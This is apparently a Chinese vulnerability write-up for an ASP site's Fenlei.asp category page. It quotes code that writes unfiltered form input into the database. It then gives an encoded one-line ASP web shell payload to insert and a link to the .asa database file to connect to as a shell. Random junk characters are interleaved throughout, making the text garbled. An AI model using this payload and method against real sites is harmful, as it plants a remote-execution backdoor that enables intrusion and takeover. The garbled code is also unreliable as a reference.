'Fenlei.asp 6 h" O" J% Y( _8 ^3 i* b
$ z: U( k: h6 R2 f( Y* bIF Request.QueryString("Action")="del" Then
/ \0 `; {4 R6 f; G+ QID=Request.QueryString("ID")
4 F1 P* D5 L, | ^5 Z7 H6 T" BIF Countss ("tui","Fenlei",ID )<>0 then
6 y# g0 h) b7 z$ I'略
* j, x$ H$ o) ]/ z, ^; aIF Request.QueryString("Action")="Add" Then
5 q) h# @7 X+ d: e$ v' X: fTname=Request.Form("Typename") ) \: A2 a3 s* {2 q% h% ~
Set Rs=Server.CreateObject("adodb.Recordset") : h, R' e) _+ C. C9 u1 g7 i; ?
Sql="Select * From Fenlei Order by id Desc "
: Z6 Y6 D. b. x5 r8 r6 |! QRs.Open Sql,Conn,1,3
* H: J, y1 x, v. k! ]6 o/ J- rRs.Addnew r5 H: j1 W& t Y' t
Rs("Typename")=Tname
/ U) Z! q! ^7 K% Y'略
6 l; y6 E, ^. E& vSet Rs=Server.CreateObject("adodb.Recordset")
u' G/ s3 W" _0 q0 ESql="Select * From Fenlei Order by id Desc "
5 Z! }4 }5 z; U* g1 Y2 ~Rs.Open Sql,Conn,1,1
- C8 g! k# t4 O9 H5 t- B: u6 H1 E'略
* ?& Y' o0 F0 y0 R7 o%>
+ F5 T8 C# R6 d$ m+ z; Q! f
( t1 T% b# A2 S& F m
0 b" a& G5 B/ j' P7 o, I _ [ 9 A/ O# N% d& S$ b+ E* ~; ]
没有过滤,直接写入数据库。
9 B( d& u) m2 p, R9 x! U
! X# |; w6 O1 W* c利用方法:0 z/ R' a1 f9 V% Z
/ c4 A. r5 Q( O4 r7 C+ H3 f' U插入:┼攠數畣整爠煥敵瑳∨≡┩># Q9 H6 W8 e3 A" A( Y. u
1 ~3 g0 a& K' B& D! B
6 I* O9 k/ ~" n, o: P, U6 F1 @连接: http://www.xxx.com/###tongbaner.asa
4 E5 H% T4 H' Y) u3 n'默认安装文件: . Y: V3 J/ q6 r. G0 y, D3 P/ A! n
'install.asp5 q- j) Y5 N+ ? Z9 ]0 b
|